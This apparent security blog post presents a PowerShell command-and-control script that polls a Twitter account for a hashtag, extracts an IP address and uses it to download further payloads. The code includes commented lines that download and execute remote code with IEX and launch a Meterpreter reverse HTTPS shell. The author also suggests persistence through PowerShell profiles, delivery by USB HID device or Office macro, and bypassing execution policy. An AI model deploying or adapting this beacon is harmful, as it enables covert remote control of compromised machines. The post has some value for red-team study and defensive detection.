Command and Control Using Powershell and Twitter

Initially I wanted to update and extend @obscuresec‘s Powershell Twitter Bot, the problem is this was written in early 2013 and relied on Twitter’s API 1 which required no authentication. The current Twitter API 1.1 does require authentication and encryption and although doable from the perspective of Powershell, the code is far too verbose for my purposes.

With these hurdles I took a closer look at the modus operandi of the Russian criminal group using Hammertos and they avoided using the API and had the code simply reach out to the URL of the Twitter handle and look for a hashtag.

I though this quite a cool idea.

Whilst researching I happened upon @enigma0x3‘s blog post: Command and Control Using Powershell and Your Favourite Website:

In a nutshell, you gain access to a system and create some way of getting script execution on startup (for persistence). This particular script is a rather neat one. What it does is define a key word and a website. It will check the website for the keyword and if it exists, it will execute a new payload using Invoke-Shellcode. Pretty badass, right? That means when you are ready for your shell back, you go to the website and enter the keyword. When the script goes to check the site, it will see the key word and execute a new payload.


After slight modification of his code – This is the result:

$Word = '#readyforaction'
$WebClient = New-Object Net.WebClient
$Path = ""
$WebClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)") 

$Result = $Webclient.DownloadString($path)
$Found = $Result.contains($Word)

If($Found) {

$Result -match "!!(?.*)!!"

#IEX $WebClient.DownloadString('$matches.content')
#Invoke-Shellcode -Payload windows/meterpreter/reverse_https -LHOST 192.#168.1.127 -LPORT 1111 -Force

write-host $matches.content

Start-Sleep -Seconds 30

As you can see this reaches out to the Twitter account @poshtwitbot URL and searches for the hashtag #readyforaction – if found it parses for the IP address inside “!!”. This technique identifies the IP address or URL from the others contained in the download string.

This IP address is then used to download further payloads.

If you wish to terminate the Meterpreter reverse shell as in the example above, the script will continue reaching out to the Twitter account which enables you to reconnect when you’re ready to do so.

As it stands, the above code would not persist, it’s the secondary payload download that would achieve that; however, leveraging @enigma0x3‘s technique of Abusing Powershell Profiles could be one way to achieve this.

Delivery of the above Powershell code could easily be achieved through a Teensy HID USB device or through an Office Macro.

In these cases you would want to disable the execution policy and leverage default credentials and proxy settings where possible.

My HUGE thanks go to @enigma0x3 whose methodology and code made this a hugely enjoyable and straightforward job.


The “write-host $matches.content” is there to prove the concept and should not be included in “production”.

PS C:\> .\poshtwit.ps1